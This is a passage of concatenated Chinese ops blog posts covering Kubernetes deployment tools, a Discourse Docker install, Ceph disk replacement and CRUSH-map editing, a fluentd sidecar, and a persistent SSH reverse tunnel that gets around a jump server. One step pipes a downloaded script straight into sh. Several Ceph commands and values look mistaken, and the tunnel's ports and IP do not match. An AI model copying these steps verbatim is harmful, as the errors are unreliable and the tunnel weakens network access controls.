的集成度,以及软件升级问题,需要考虑。 以下是 Rancher 的官方文档:Rancher 2.0 overview Murano Murano 由 OpenStack 社区开发,这是一个通用的应用目录管理软件,所以也可以管理 Kubernetes,底层使用 Chef 等自动化配置管理工具实现。所以天然的缺点是不够专业化,对容器管理不足够出色,但优点是发展时间较久,有完善的图形化界面。 以下是 murano 的官方文档:murano official document Magnum magnum 由 OpenStack 社区开发,这是 OpenStack 官方的 Kubernetes 等 COE(Container Orchestration Engine)部署和管理解决方案。天然支持多租户,但不好的地方是只有命令行,没有界面。对此,官方的解决方案和将 magnum 和 murano 结合。 结论 指标\方案 Tectonic kops kubespray 各种自动化工具 kubeadm Rancher Murano Magnum 开发者 CoreOS Kubernetes Kubernetes - Kubernetes Rancher OpenStack OpenStack 成熟度 pre-alpha alpha beta mature mature mature mature mature 多租户 支持 不支持 不支持 不支持 不支持 支持 不支持 支持 GUI增强 支持 不支持 不支持 不支持 不支持 支持 不支持 支持 自动/手动 手动 自动 自动 自动 手动 手动 自动 自动 个人人为,目前 magnum 是最优的方案,起步时可以只安装 magnum,后面再慢慢上 murano,解决界面问题。magnum 依赖 Heat,如果难度较大,短时间不易实现,可以使用 kubeadm 手动部署,做镜像的方式来实现。 我的博客即将搬运同步至腾讯云+社区,邀请大家一同入驻:https://cloud.tencent.com/developer/support-plan?invite_code=32mxitay1osg4
Discourse logo 0. 简要介绍 Discourse 是由 Stack Overflow 创始人之一的 Jeff Atwood 主导的开源论坛项目,使用时能感受到和 Stack Overflow 的关联性,比如为鼓励有效的技术讨论、控制人身攻击等做了很多努力,页面的布局方式也有相似之处。Discourse 提供了非常丰富的配置方式,也支持插件扩展,是值得学习的论坛类开源项目。 本文主要介绍通过 Docker 镜像的方式在公有云环境中部署 Discourse 环境,公有云选为阿里云,操作系统为 Ubuntu 16.04。 1. 准备工作 1.1 阿里云环境准备 Discourse 官方文档中推荐的最低配置是 1 核 2G,这里就选用了最低配:ecs.n4.small,对于没有很高访问量的站点,这个配置也足够用了。 阿里云虚拟机配置 服务器购买完成后,记得要更新一下系统,最新的系统修复了不少 bug: apt update apt upgrade -y 1.2 邮箱配置 Discourse 比较依赖邮箱系统,需要根据邮箱来进行注册和消息通知,所以一定要有一个可用的邮件服务系统,Discourse 推荐使用第三方的邮件系统,其实自己搭建也是完全可行的,但邮件系统搭建也要花费一定的精力,而且也有一定的难度,本文使用的邮箱系统是 ElastishMail,具体的注册方式就不详细描述了。 1.3 注册域名 使用 IP 访问当然也是没有问题的,不过总归是不方便,建议还是为接下来要搭建的 Discourse 站点注册一个域名,阿里云收购了万网,所以域名注册在阿里云的网站内就可以搞定了。 2. 基础安装 Discourse 本身是挺复杂的,看安装过程的耗时和输出信息就知道了。幸运的是,Discourse 提供了自动化安装的脚本,较低了部署的难度。Discourse 依赖的软件并不多,主要是 git(用来拉取 Discourse 的代码)、docker(因为要使用 Docker 部署) 和 ruby(原因是 Discourse 是用 ruby 编写的)以及 ruby 的包管理工具 gem。 安装 git # install git $ sudo apt install git 安装 docker # install docker $ sudo wget -qO- https://get.docker.com/ | sh 配置 docker 使用国内的镜像 # Configure docker to use Chinese mirrors $ sudo vim /etc/docker/daemon.json { "registry-mirrors": ["https://registry.docker-cn.com", "http://hub.c.163.com"] } $ sudo systemctl restart docker.service 安装 discourse # install discourse $ sudo -s $ mkdir /var/discourse $ git clone https://github.com/discourse/discourse_docker.git /var/discourse $ cd /var/discourse $ ./discourse-setup 运行 discourse-setup 脚本后,会提示输入一些安装信息,以此输入之前注册的域名和邮箱信息即可。 Hostname for your Discourse? [discourse.example.com]: Email address for admin account(s)? [me@example.com,you@example.com]: SMTP server address? [smtp.example.com]: SMTP port? [587]: SMTP user name? [user@example.com]: SMTP password? [pa$$word]: Let's Encrypt account email? (ENTER to skip) [me@example.com]: 配置完成后,需要进行很久的编译,稍安勿燥,半小时之内都是正常的。等待脚本 discourse-setup 脚本执行结束,就可以访问刚刚配置好的 discourse 网站了! Disourse 欢迎界面 PS:Discourse 在国内云环境中部署,因为众所周知的原因,软件包的下载可能会遇到问题,本文所参考的一篇资料中谈到了gem 的连接问题,不过在写作本文的过程中并没有遇到该问题,如果遇到网络原因造成的安装失败,大家就需要各现神通了。 3. 进阶配置 3.1 设置自动备份 为了网站的信息安全,当然要对数据定期进行备份,配置备份的界面如下: 备份设置 图中配置的是每天备份一次,保留最近的七个备份。但这依然有问题,原因是备份文件是存储在 docker 内部的,万一 docker 崩溃了,备份文件也一样拿不回来,更为保险的方式是将备份文件再上传到第三方的存储系统中,discourse 也支持这样的配置,但因为 discourse 的作者生活在美帝,用的都是 S3、Dropbox、Box 和 Google Drive,我等只有看着流口水的份,所以完全不可用。目前我的解决方式是 crontab 启动定时任务,然后用 python 上传备份文件到内部的 Ceph 集群里,因为没有通用性,就先不把这种方式的详细步骤放上来了,如果有需要的话,我可以考虑把上传到 OSS 公有云的方法补充上。另外自己写 Discourse 的插件也是可行的,只是我对 Ruby 完全不了解,所以没有采用这种方式。 3.2 设置 https 对于 HTTPS 的支持,discourse 也提供了自动化脚本,只需修改配置文件,并重新编译即可。 修改配置文件:需要在 /var/discourse/containers/app.yml 的 templates 段中增加一个行: $ cat /var/discourse/containers/app.yml ... templates: ... - "templates/web.letsencrypt.ssl.template.yml" ... 然后执行以下命令: $ /var/discourse/launcher rebuild app 脚本运行结束后即完成了 https 的配置,但这个执行时间依旧不短,大概在十到二十分钟。 4. 参考资料 Discourse cloud installation guide 在大陆地区的云上部署 Discourse Discourse automatic backups Stuck for a step for long time during installation Discourse plugins Discourse plugins page on github How to install a plugin Setting up Let's Encrypt
Damaged disks 对于存储系统,磁盘是消耗品,损坏是很常见的,所以这篇文章记录一下 Ceph 中出现磁盘损坏时的现象,以及如何定位和更换损坏的磁盘。 1. 磁盘损坏 1.1 现象 工作环境中出现问题的 Ceph 的数据是双备份的,OSD 35 所在的磁盘出现了坏道,表现出来的现象是 ceph 经常会报出存储在 OSD 35 上的 pg 数据不一致,以及报出 scrub error,以下是 ceph health detail 命令输出新相关信息。 $ ceph health detail ...... OSD_SCRUB_ERRORS 31 scrub errors PG_DAMAGED Possible data damage: 5 pgs inconsistent pg 41.33 is active+clean+inconsistent, acting [35,33] pg 41.42 is active+clean+inconsistent, acting [29,35] pg 51.24 is active+clean+inconsistent, acting [35,43] pg 51.77 is active+clean+inconsistent, acting [28,35] pg 51.7b is active+clean+inconsistent, acting [35,46] ...... 1.2 数据状态 因为数据只有双备份,ceph 无法确定哪个备份中的数据是可用的,所以此时虽然显示 pg 状态是 active+clean,但有问题的数据其实是不可用的。 1.3 临时解决方法 作为临时的解决方案,可以执行 ceph pg repair 解决,此时由于磁盘坏道造成不可读的数据会拷贝到其他位置。但这不能从根本上解决问题,磁盘损坏会持续报出类似的错误。 $ ceph pg repair 41.33 $ ceph pg repair 41.42 $ ceph pg repair 51.24 $ ceph pg repair 51.77 $ ceph pg repair 51.7b 2. 定位并检查故障磁盘 知道 OSD 35 有问题,但我们现在还不知道对应的是具体哪块磁盘。我们可以登录到对应到 OSD 服务器上查看 OSD 35 的目录名称,并查看 PVS 的对应关系来解决。 $ ceph osd tree ID CLASS WEIGHT TYPE NAME STATUS REWEIGHT PRI-AFF -1 127.09767 root default -5 127.09767 host osd7 ...... 33 hdd 5.52599 osd.35 up 1.00000 1.00000 ...... 通过这个命令,我们可以知道 OSD.35 是位于 OSD7 这台服务器上。接下来,我们登录到 OSD7 上,并切换为 root 权限。 $ ssh osd7 $ sudo -i 然后进入到 OSD.35 的目录里。 # cd /var/lib/ceph/osd/ceph-35 再来查看 PVS 信息。 # pvs -o+pv_used ...... PV VG Fmt Attr PSize PFree Used /dev/sda5 ubuntu-vg lvm2 a-- 446.65g 0 446.65g /dev/sdc ceph-320de131-5f26-48a7-aa64-c7f08f87cd85 lvm2 a-- 5.46t 0 5.46t ...... 好,现在我们终于知道,/dev/sdc 就是 OSD.35 3. 获取磁盘错误信息 我们已经知道是哪个磁盘出错,接下来就要向磁盘的提供商报修,或者联系购买新磁盘了。如果是报修,对方必然要求提供磁盘出错信息,接下来咱们就看一下如何拿到这些信息,这里我们要用到的命令好工具是 SMART monitor tool,Debian 系的系统可以通过 APT 安装: $ sudo apt install -y smartmontools RedHat 系的系统用 yum 安装: $ sudo yum install -y smartmontools 安装完成后用如下命令获取输出信息即可,这里需要注意一下输出中序列号这项信息,这次磁盘的唯一标识,后面会用到:Serial Number: 57J6KA41F6CD $ sudo smartctl -a /dev/sdc smartctl 6.5 2016-01-24 r4214 [x86_64-linux-4.4.0-121-generic] (local build) Copyright (C) 2002-16, Bruce Allen, Christian Franke, www.smartmontools.org === START OF INFORMATION SECTION === Device Model: TOSHIBA MG04ACA600E Serial Number: 57J6KA41F6CD LU WWN Device Id: 5 000039 7cb9822be Firmware Version: FS1K User Capacity: 6,001,175,126,016 bytes [6.00 TB] Sector Sizes: 512 bytes logical, 4096 bytes physical Rotation Rate: 7200 rpm Form Factor: 3.5 inches Device is: Not in smartctl database [for details use: -P showall] ATA Version is: ATA8-ACS (minor revision not indicated) SATA Version is: SATA 3.0, 6.0 Gb/s (current: 6.0 Gb/s) Local Time is: Tue Aug 7 14:46:45 2018 CST SMART support is: Available - device has SMART capability. SMART support is: Enabled ... 4. 点亮硬盘指示灯 最后,存储厂商同意保修,或者购买新硬盘进行更换,都需要知道磁盘具体插在哪个 PCIe 口上。虽然我们已经知道是哪个设备了,本例中是 /dev/sdc,但这依旧不够直观,如果能让坏掉的硬盘的指示灯亮起,那么就非常方便维修人员查找和更换了。这就需要用到 SAS-x integrated RAID configuration utility 了。 该文件没有提供 APT 和 YUM 源的下载方式,只能从网上找到 RPM 或可执行文件,以下链接是该文件的百度云盘地址:sas3ircu 下载好后,先执行 display 命令,查找全部磁盘信息。 $ sudo ./sas3ircu 0 display ...... Device is a Hard disk Enclosure # : 2 Slot # : 0 SAS Address : 5003048-0-1867-f140 State : Ready (RDY) Size (in MB)/(in sectors) : 5723166/11721045167 Manufacturer : ATA Model Number : TOSHIBA MG04ACA6 Firmware Revision : FS1K Serial No : 57J6KA41F6CD Unit Serial No(VPD) : 57J6KA41F6CD GUID : 50000397cb9822be Protocol : SATA Drive Type : SATA_HDD ...... 从输出结果来看,Serial No : 57J6KA41F6CD,和之前 smartctl 查询到的结果一致,那么我们就知道这次磁盘的位置是 Enclosure # : 2 Slot # : 0 接下来执行下面的命令点亮对应硬盘的指示灯: sudo ./sas3ircu 0 locate 2:0 on 另外更换完毕后,自然还要执行该命令关掉指示灯: sudo ./sas3ircu 0 locate 2:0 off
sidecar 1. 简介 ElasticSearch 在日志收集和分析领域非常流行,而 fluentd 是一种万用型的日志收集器,当然也支持 ES(ElasticSearch)。不过在 Kubnernetes 环境中,问题会变得有点复杂,问题在于是否要把 fluentd 放进跑业务代码的容器里:放在一起的话,fluentd 明显和业务无关;不放在一起的话,fluentd 又如何访问到跑业务容器里的日志呢。 fluentd 这个问题有多种解决方式,感兴趣的话,可以参考这个链接:Logging Architecture。在这里要介绍的是 sidecar 模式,sidecar 就是题图中的摩托挎斗,对应到 Kubernetes 中,就是在 Pod 中再加一个 container 来跑非核心的代码,来保证隔离性,并尽量缩减容器镜像的大小。 2. 部署 接下来我们就开始部署吧,要先准备好 fluentd 的配置文件,<source> 部分指定的是要上传的日志文件;<match> 部分指定的是日志要传输到哪里,这里指定的就是 ElasticSearch,真正使用的时候要注意根据具体环境替换 <ES-IP>。 $ cat fluentd-config-sidecar.yaml apiVersion: v1 kind: ConfigMap metadata: name: fluentd-config data: fluentd.conf: | <source> type tail format none path /var/log/1.log pos_file /var/log/1.log.pos tag count.format1 </source> <source> type tail format none path /var/log/2.log pos_file /var/log/2.log.pos tag count.format2 </source> <match **> type elasticsearch host <ES-IP> port 9200 include_tag_key true tag_key @log_name logstash_format true flush_interval 10s </match> 接下来是创建 Pod 的 yaml 文件,其中包含了两个 container:count 和 count-agent。count 是主程序,产生日志;count-agent 是发送日志的 sidecar。这里面由几处需要注意一下: emptyDir:表示创建一个空的目录,之所以用这个种方式挂载日志,原因是 emptyDir 对 Pod 内的全部 container 都可见。 fluentd 使用的镜像:原来的镜像是存放在 google container registry 里的,国内无法访问,所以使用了阿里云的源作为替代。 FLUENTD_ARGS 环境变量:是 fluentd 的启动参数。 $ cat counter-pod-sidecar.yaml apiVersion: v1 kind: Pod metadata: name: counter spec: containers: - name: count image: busybox args: - /bin/sh - -c - > i=0; while true; do echo "$i: $(date)" >> /var/log/1.log; echo "$(date) INFO $i" >> /var/log/2.log; i=$((i+1)); sleep 1; done volumeMounts: - name: varlog mountPath: /var/log - name: count-agent image: registry.cn-beijing.aliyuncs.com/k8s-mqm/fluentd-elasticsearch:v2.1.0 env: - name: FLUENTD_ARGS value: -c /etc/fluentd-config/fluentd.conf volumeMounts: - name: varlog mountPath: /var/log - name: config-volume mountPath: /etc/fluentd-config volumes: - name: varlog emptyDir: {} - name: config-volume configMap: name: fluentd-config 3. 参考文档 Logging Architecture cedbossneo/fluentd-sidecar-es Kubernetes Log Management using Fluentd as a Sidecar Container and preStop Lifecycle Hook- Part IV Collecting Logs into Elasticsearch and S3 emptyDir Volumes
SSH 为了降低运维成本,提高可靠性,物理服务器往往都不再部署在本地,IDC 托管成了更多企业的选择。服务器托管在 IDC 后,出于安全的考虑,不会直接开放所有服务器的外部访问,而是使用跳板机,跳板机可以直接从外部访问,而其他服务器只能在登录到跳板机后才能连接得上。但如果开发或者调试时,需要直接从外部 SSH 登录进 IDC 中的某台服务器,就很麻烦了。好在 SSH 端口转发,这个功能正好可以解决上面提到的问题。 1. SSH 端口转发 所说的 SSH 端口转发 (port-forwarding),是指将远端服务器的端口和本地服务器上的某个端口进行绑定,这个功能一般都是用在代理服务器上,跳板机就刚好是这种情况,举例来说,假设 IDC 网络内有一台跳板机:内网地址为 192.168.1.2,同时有外网连接,还有一台只有内网的服务器 192.168.1.100。内网服务器 192.168.1.100 启动了一个 HTTP 服务,监听在 80 端口,但因为 192.168.1.100 只有内网连接,外部访问不到,那么可以使用 SSH 的端口转发,将 192.168.1.100 的 80 端口绑定到跳板机 192.168.1.2 的 80 端口上。 虽然听起来概念比较复杂,但实现起来非常简单,一条命令就搞定了。192.168.1.100 的 22 端口就绑定在了 192.168.1.2 的 40100 端口上。 # On 192.168.1.100 $ ssh -NfR 40100:localhost:22 192.168.1.2 最终的效果是如下两条命令是等价的,全都是登录到 192.168.1.100 上: ssh -p 40100 192.168.1.2 ssh 192.168.1.100 2. 开放目标端口的外网映射 之前的步骤只是将跳板机的 40100 端口和 HTTP 服务器的 22 端口做了绑定,如果要能从外部访问,还是需要做跳板机上 40100 端口的外网映射才行。 3. 使用 systemd 配置开机自启动 好,现在已经实现了基本功能,但如果服务器重启,ssh 端口转发的命令就会失效。systemd 现在已经成了 Linux 启动和守护进程管理的标准,所以就写一个 systemd 的 service 文件来实现这个需求吧。service 文件内容如下: $ cat ssh-port-forward.service [Unit] Description=SSH port forward for to jump server 192.168.1.2's port 40100. 40100 is already mapped to public network. As a result, we can use this command to SSH login to this server: ssh -p 40100 -l haoweilai 100.168.1.2 After=sshd.service [Service] User=haoweilai Group=haoweilai ExecStart=/usr/bin/ssh -NR 40067:localhost:22 192.168.1.2 [Install] WantedBy=multi-user.target Alias=ssh-port-forward.service 将该文件放在目录 /lib/systemd/system 下。然后执行 systemd 的配置加载、命令启动和开机自启动命令: $ sudo systemctl daemon-reload $ sudo systemctl start ssh-port-forward.service $ sudo systemctl enable ssh-port-forward.service 4. 参考文档 How do I make my systemd service run via specific user and start on boot? What does “Failed to execute operation: Invalid argument” mean when running systemctl enable? Executing Commands and Scripts at Reboot & Startup in Linux How to automatically execute shell script at startup boot on systemd Linux
crush.png 在服务器资源不足,或者测试环境下,Ceph 通常只有一个节点,就算有多个服务器组成集群,往往存储服务器也往往只有一台,Ceph 的默认配置下,只能设置单数据备份,也就是说数据只存了一份,如果磁盘坏了,数据就丢了。虽然测试环境数据没那么重要,总保不齐就会有关键数据放在上面,所以还是要想办法在资源有限的条件下实现数据的高可用,另外这也是一个很好的进一步理解 Ceph 概念的好机会,接下来就让我们来看看是如何实现的吧。 1. CRUSH map 规则介绍 为了把这件事说清楚,我们需要了解 CRUSH map 一些具体规则,所以先来看一下默认的 CRUSH map。 $ cat crush-map-decompiled ... # buckets host rbd-osd1 { id -3 # do not change unnecessarily id -4 class hdd # do not change unnecessarily # weight 130.992 alg straw2 hash 0 # rjenkins1 item osd.0 weight 5.458 item osd.1 weight 5.458 item osd.2 weight 5.458 item osd.3 weight 5.458 item osd.4 weight 5.458 item osd.5 weight 5.458 item osd.6 weight 5.458 item osd.7 weight 5.458 item osd.8 weight 5.458 item osd.9 weight 5.458 item osd.10 weight 5.458 item osd.11 weight 5.458 item osd.12 weight 5.458 item osd.13 weight 5.458 item osd.14 weight 5.458 item osd.15 weight 5.458 item osd.16 weight 5.458 item osd.17 weight 5.458 item osd.18 weight 5.458 item osd.19 weight 5.458 item osd.20 weight 5.458 item osd.21 weight 5.458 item osd.22 weight 5.458 item osd.23 weight 5.458 } root default { id -1 # do not change unnecessarily id -2 class hdd # do not change unnecessarily # weight 130.992 alg straw2 hash 0 # rjenkins1 item rbd-osd1 weight 130.992 } # rules rule replicated_rule { id 0 type replicated min_size 1 max_size 10 step take default step chooseleaf firstn 0 type host step emit } 我们可以看到,Ceph 集群中只有一台存储服务器:rbd-osd1,上面有 24 块硬盘。 要实现单存储上多备份,关键就在这行配置上:step chooseleaf firstn 0 type host 这句话的意思是,从选定的 bucket(也就是 host rbd-osd1)中,获取默认个(也就是 osd_pool_default_size 个,这是在 /etc/ceph/ceph.conf 中配置的)叶子节点(也就是 rbd-osd1 中包含的那 24 个 item),叶子节点的类型为 host。 默认配置出问题的地方就是在叶子节点的类型上,osd_pool_default_size 默认值是三,也就是说,需要找三个 host 类型的 bucket,host 对应的就是存储服务器,我们现在只有一个,当然不满足需求了。从 ceph 的状态上也能看出来,所有的 OSD 都因为 OSD 数量不足,处于 active+undersized 状态。 $ ceph -s ... data: pools: 1 pools, 64 pgs objects: 0 objects, 0 bytes usage: 25001 MB used, 130 TB / 130 TB avail pgs: 64 active+undersized 2. 修改 CRUSH map 了解到问题所在,接下来就动手修改吧,CRUSH map 支持两种修改方式,一种是命令行,优点是单条命令很简单,缺点是不够直观;第二种是手动修改配置文件,优点是所见即所得,缺点是麻烦一点,需要先导出,解码,修改,最后再编码,导入。这里因为修改的内容颇为具体,所以采用第二种方法。 先将 CRUSH map 导出到文件 crush-map 中。 $ ceph osd getcrushmap -o crush-map 然后解码,并输出到文件 crush-map-decompiled 中。 $ crushtool -d crush-map -o crush-map-decompiled 修改 crush-map-decompiled,将 type 改为 osd,即可 $ cat crush-map-decompiled ... # rules rule replicated_rule { id 0 type replicated min_size 1 max_size 10 step take default step chooseleaf firstn 0 type osd step emit } 将改好的文件编码到文件 crush-map 中。 $ crushtool -c crush-map-decompiled -o crush-map 最后导入。 $ ceph osd setcrushmap -o crush-map 3. 修改 /etc/ceph/ceph.conf 不过事情没有那么简单,还需要配合 ceph.conf 的修改才行,我们要修改 osd_crush_chooseleaf_type。 这个参数每个取值的意义在 Ceph 的官方文档中,有明确的说明,0 是给单节点的 ceph 集群使用的,而 1 是默认值,所以我们需要修改。 #Choose a reasonable crush leaf type. #0 for a 1-node cluster. #1 for a multi node cluster in a single rack #2 for a multi node, multi chassis cluster with multiple hosts in a chassis #3 for a multi node cluster with hosts across racks, etc. osd crush chooseleaf type = {n} 集群是使用 ceph-deploy 来部署的,所以需要修改 ceph-deploy 目录下的文件,然后推送到 ceph 集群中的服务器中: $ cat ceph.conf ... osd_crush_chooseleaf_type = 0 ... $ ceph-deploy --overwrite-conf config push rbd-master1 rbd-osd1 4. 动态修改 ceph 配置 至此问题还是没有完全解决,原因是配置文件的变动需要,进程的重启才能生效,不重启有没有办法让改动生效呢?有的,需要使用的 ceph daemon 命令。 sudo ceph daemon mon.rbd-master1 config set osd_pool_default_size 0 5. 参考文档 MANUALLY EDITING A CRUSH MAP POOL, PG AND CRUSH CONFIG REFERENCE Another method to dynamically change a Ceph configuration Bug 1492248 - Need Better Error Message when OSD count is less than osd_pool_default_size CONFIGURING CEPH CRUSH MAPS COMMON SETTINGS [ceph-users] CRUSH rule for 3 replicas across 2 hosts
OSD.png 工作中需要从 Ceph 的集群中移除一台存储服务器,挪作他用。Ceph 存储空间即使在移除该存储服务器后依旧够用,所以操作是可行的,但集群已经运行了很长时间,每个服务器上都存储了很多数据,在数据无损的情况下移除,看起来也不简单。 1. OSD 布局 先来看看 OSD 的布局 $ ceph osd tree ID CLASS WEIGHT TYPE NAME STATUS REWEIGHT PRI-AFF -1 265.25757 root default -5 132.62878 host osd7 24 hdd 5.52620 osd.24 up 1.00000 1.00000 25 hdd 5.52620 osd.25 up 1.00000 1.00000 26 hdd 5.52620 osd.26 up 1.00000 1.00000 27 hdd 5.52620 osd.27 up 1.00000 1.00000 28 hdd 5.52620 osd.28 up 1.00000 1.00000 29 hdd 5.52620 osd.29 up 1.00000 1.00000 30 hdd 5.52620 osd.30 up 1.00000 1.00000 31 hdd 5.52620 osd.31 up 1.00000 1.00000 32 hdd 5.52620 osd.32 up 1.00000 1.00000 33 hdd 5.52620 osd.33 up 1.00000 1.00000 34 hdd 5.52620 osd.34 up 1.00000 1.00000 35 hdd 5.52620 osd.35 up 1.00000 1.00000 36 hdd 5.52620 osd.36 up 1.00000 1.00000 37 hdd 5.52620 osd.37 up 1.00000 1.00000 38 hdd 5.52620 osd.38 up 1.00000 1.00000 39 hdd 5.52620 osd.39 up 1.00000 1.00000 40 hdd 5.52620 osd.40 up 1.00000 1.00000 41 hdd 5.52620 osd.41 up 1.00000 1.00000 42 hdd 5.52620 osd.42 up 1.00000 1.00000 43 hdd 5.52620 osd.43 up 1.00000 1.00000 44 hdd 5.52620 osd.44 up 1.00000 1.00000 45 hdd 5.52620 osd.45 up 1.00000 1.00000 46 hdd 5.52620 osd.46 up 1.00000 1.00000 47 hdd 5.52620 osd.47 up 1.00000 1.00000 -3 132.62878 host osd8 0 hdd 5.52620 osd.0 up 1.00000 1.00000 1 hdd 5.52620 osd.1 up 1.00000 1.00000 2 hdd 5.52620 osd.2 up 1.00000 1.00000 3 hdd 5.52620 osd.3 up 1.00000 1.00000 4 hdd 5.52620 osd.4 up 1.00000 1.00000 5 hdd 5.52620 osd.5 up 1.00000 1.00000 6 hdd 5.52620 osd.6 up 1.00000 1.00000 7 hdd 5.52620 osd.7 up 1.00000 1.00000 8 hdd 5.52620 osd.8 up 1.00000 1.00000 9 hdd 5.52620 osd.9 up 1.00000 1.00000 10 hdd 5.52620 osd.10 up 1.00000 1.00000 11 hdd 5.52620 osd.11 up 1.00000 1.00000 12 hdd 5.52620 osd.12 up 1.00000 1.00000 13 hdd 5.52620 osd.13 up 1.00000 1.00000 14 hdd 5.52620 osd.14 up 1.00000 1.00000 15 hdd 5.52620 osd.15 up 1.00000 1.00000 16 hdd 5.52620 osd.16 up 1.00000 1.00000 17 hdd 5.52620 osd.17 up 1.00000 1.00000 18 hdd 5.52620 osd.18 up 1.00000 1.00000 19 hdd 5.52620 osd.19 up 1.00000 1.00000 20 hdd 5.52620 osd.20 up 1.00000 1.00000 21 hdd 5.52620 osd.21 up 1.00000 1.00000 22 hdd 5.52620 osd.22 up 1.00000 1.00000 23 hdd 5.52620 osd.23 up 1.00000 1.00000 一共两台服务器,48 个 OSD。需要把 osd8 移除,那么就需要把上面的所有的 24 个 OSD 全部删除。 2. 单个 OSD 进程删除流程 以移除 osd.0 为例看一下移除 OSD 的流程: 2.1 将状态设置成 out 首先要现将 OSD 状态设置成 out。 $ ceph osd out 0 marked out osd.0. 这个阶段 ceph 会自动将处于 out 状态 OSD 中的数据迁移到其他状态正常的 OSD 上,所以在执行完成后,需要使用 ceph -w 查看数据迁移流程。等到不再有输出后,数据迁移完毕。 $ ceph -w cluster: id: 063ed8d6-fc89-4fcb-8811-ff23915983e7 health: HEALTH_ERR 12408/606262 objects misplaced (2.047%) 6 scrub errors Reduced data availability: 2 pgs peering Possible data damage: 5 pgs inconsistent application not enabled on 7 pool(s) services: mon: 3 daemons, quorum dell1,dell2,dell3 mgr: dell1(active) mds: cephfs-1/1/1 up {0=dell1=up:active}, 2 up:standby osd: 48 osds: 48 up, 47 in; 44 remapped pgs rgw: 3 daemons active data: pools: 22 pools, 1816 pgs objects: 296k objects, 963 GB usage: 5222 GB used, 254 TB / 259 TB avail pgs: 0.220% pgs not active 12408/606262 objects misplaced (2.047%) 1763 active+clean 29 active+remapped+backfill_wait 14 active+remapped+backfilling 5 active+clean+inconsistent 3 peering 1 active+recovery_wait 1 activating+remapped io: client: 59450 kB/s rd, 4419 MB/s wr, 1095 op/s rd, 2848 op/s wr recovery: 253 MB/s, 210 keys/s, 123 objects/s 2018-07-05 14:21:07.867104 mon.dell1 [WRN] Health check failed: Degraded data redundancy: 7/605732 objects degraded (0.001%), 1 pg degraded (PG_DEGRADED) 2018-07-05 14:21:12.252395 mon.dell1 [INF] Health check cleared: PG_DEGRADED (was: Degraded data redundancy: 7/605732 objects degraded (0.001%), 1 pg degraded) 2018-07-05 14:21:13.510741 mon.dell1 [WRN] Health check update: 12269/606262 objects misplaced (2.024%) (OBJECT_MISPLACED) 2018-07-05 14:21:13.510797 mon.dell1 [INF] Health check cleared: PG_AVAILABILITY (was: Reduced data availability: 2 pgs peering) 2018-07-05 14:21:19.488864 mon.dell1 [WRN] Health check update: 11553/606262 objects misplaced (1.906%) (OBJECT_MISPLACED) 2018-07-05 14:21:25.502619 mon.dell1 [WRN] Health check update: 10504/606262 objects misplaced (1.733%) (OBJECT_MISPLACED) 2018-07-05 14:21:31.745600 mon.dell1 [WRN] Health check update: 10091/606262 objects misplaced (1.664%) (OBJECT_MISPLACED) 2018-07-05 14:21:36.779666 mon.dell1 [WRN] Health check update: 9309/606262 objects misplaced (1.535%) (OBJECT_MISPLACED) 2018-07-05 14:21:41.779947 mon.dell1 [WRN] Health check update: 8580/606262 objects misplaced (1.415%) (OBJECT_MISPLACED) 2018-07-05 14:21:46.816584 mon.dell1 [WRN] Health check update: 8215/606262 objects misplaced (1.355%) (OBJECT_MISPLACED) 2018-07-05 14:21:51.817014 mon.dell1 [WRN] Health check update: 7331/606262 objects misplaced (1.209%) (OBJECT_MISPLACED) 2018-07-05 14:21:56.817406 mon.dell1 [WRN] Health check update: 6929/606262 objects misplaced (1.143%) (OBJECT_MISPLACED) 2018-07-05 14:22:01.817820 mon.dell1 [WRN] Health check update: 6426/606262 objects misplaced (1.060%) (OBJECT_MISPLACED) 2018-07-05 14:22:06.818188 mon.dell1 [WRN] Health check update: 5787/606262 objects misplaced (0.955%) (OBJECT_MISPLACED) 2018-07-05 14:22:11.818606 mon.dell1 [WRN] Health check update: 5429/606262 objects misplaced (0.895%) (OBJECT_MISPLACED) 2018-07-05 14:22:16.818981 mon.dell1 [WRN] Health check update: 5165/606262 objects misplaced (0.852%) (OBJECT_MISPLACED) 2018-07-05 14:22:20.303513 osd.35 [ERR] 13.2ad missing primary copy of 13:b56abc11:::d9593962-fa39-406f-bc35-7e4fcac1be9f.44307.2__shadow_121_1530008810116503747%2fplatform-cms.rar.2~vf7AEOlGNYM1ggI6IhV-iu22oDDXcvS.5_1:head, will try copies on 0 2018-07-05 14:22:21.819353 mon.dell1 [WRN] Health check update: 4866/606262 objects misplaced (0.803%) (OBJECT_MISPLACED) 2018-07-05 14:22:26.819657 mon.dell1 [WRN] Health check update: 4586/606262 objects misplaced (0.756%) (OBJECT_MISPLACED) 2018-07-05 14:22:31.819983 mon.dell1 [WRN] Health check update: 4323/606262 objects misplaced (0.713%) (OBJECT_MISPLACED) 2018-07-05 14:22:36.820335 mon.dell1 [WRN] Health check update: 4113/606262 objects misplaced (0.678%) (OBJECT_MISPLACED) 2018-07-05 14:22:41.820676 mon.dell1 [WRN] Health check update: 3949/606262 objects misplaced (0.651%) (OBJECT_MISPLACED) 2018-07-05 14:22:46.821040 mon.dell1 [WRN] Health check update: 3788/606262 objects misplaced (0.625%) (OBJECT_MISPLACED) 2018-07-05 14:22:51.821395 mon.dell1 [WRN] Health check update: 3665/606262 objects misplaced (0.605%) (OBJECT_MISPLACED) 2018-07-05 14:22:56.821692 mon.dell1 [WRN] Health check update: 3440/606262 objects misplaced (0.567%) (OBJECT_MISPLACED) 2018-07-05 14:23:01.821999 mon.dell1 [WRN] Health check update: 3170/606266 objects misplaced (0.523%) (OBJECT_MISPLACED) 2018-07-05 14:23:06.822355 mon.dell1 [WRN] Health check update: 2956/606266 objects misplaced (0.488%) (OBJECT_MISPLACED) 2018-07-05 14:23:11.822752 mon.dell1 [WRN] Health check update: 2747/606270 objects misplaced (0.453%) (OBJECT_MISPLACED) 2018-07-05 14:23:16.823168 mon.dell1 [WRN] Health check update: 2615/606270 objects misplaced (0.431%) (OBJECT_MISPLACED) 2018-07-05 14:23:21.823523 mon.dell1 [WRN] Health check update: 2512/606270 objects misplaced (0.414%) (OBJECT_MISPLACED) 2018-07-05 14:23:26.823878 mon.dell1 [WRN] Health check update: 2409/606270 objects misplaced (0.397%) (OBJECT_MISPLACED) 2018-07-05 14:23:31.824214 mon.dell1 [WRN] Health check update: 2299/606270 objects misplaced (0.379%) (OBJECT_MISPLACED) 2018-07-05 14:23:36.824596 mon.dell1 [WRN] Health check update: 2194/606270 objects misplaced (0.362%) (OBJECT_MISPLACED) 2018-07-05 14:23:41.825037 mon.dell1 [WRN] Health check update: 2101/606270 objects misplaced (0.347%) (OBJECT_MISPLACED) 2018-07-05 14:23:46.825390 mon.dell1 [WRN] Health check update: 1939/606270 objects misplaced 